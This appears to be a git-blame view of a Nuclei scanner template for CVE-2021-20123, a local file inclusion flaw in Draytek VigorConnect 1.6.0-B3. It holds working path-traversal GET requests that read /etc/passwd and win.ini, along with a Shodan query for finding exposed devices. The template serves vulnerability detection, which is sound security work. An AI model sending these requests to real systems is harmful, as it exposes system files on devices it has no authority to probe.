2022-05-13 09:07:21 +00:00
id : CVE-2021-20123
info :
2022-06-27 18:09:57 +00:00
name : Draytek VigorConnect 1.6.0-B - Local File Inclusion
2022-05-13 09:07:21 +00:00
author : 0x_Akoko
severity : high
2022-05-13 09:55:01 +00:00
description : |
2022-06-27 18:27:11 +00:00
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
2022-05-13 09:07:21 +00:00
reference :
- https://www.tenable.com/security/research/tra-2021-42
2022-06-27 18:09:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
2022-05-13 09:07:21 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-05-13 09:07:21 +00:00
cvss-score : 7.5
cve-id : CVE-2021-20123
2023-07-11 19:49:27 +00:00
cwe-id : CWE-22
2023-11-27 09:19:41 +00:00
epss-score : 0.03116
2023-12-12 11:07:52 +00:00
epss-percentile : 0.90018
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
2022-05-13 09:55:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : draytek
product : vigorconnect
2023-09-06 12:09:01 +00:00
shodan-query : http.html:"VigorConnect"
2022-08-27 04:41:18 +00:00
tags : cve,cve2021,draytek,lfi,vigorconnect,tenable
2022-05-13 09:07:21 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-13 09:07:21 +00:00
- method : GET
path :
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
2022-05-13 09:55:01 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-05-13 09:07:21 +00:00
matchers-condition : and
matchers :
2023-07-11 19:49:27 +00:00
- type : word
part : header
words :
- "application/octet-stream"
2022-06-28 03:01:14 +00:00
2022-05-13 09:07:21 +00:00
- type : regex
2022-06-28 03:01:14 +00:00
part : body
2022-05-13 09:07:21 +00:00
regex :
- "root:.*:0:0:"
- "for 16-bit app support"
condition : or
- type : status
status :
- 200
2023-12-05 09:50:33 +00:00
2023-11-27 10:10:24 +00:00
# digest: 490a004630440220578c6ed3120a54846b0822a3793ef05bf3a4a40d609edabbceac1e449dc4c250022030813841ecce1b3270ca1a259d8c79081e3759d9c7a1da7dfe324f81fae9ea02:922c64590222798bb761d5b6d8e72950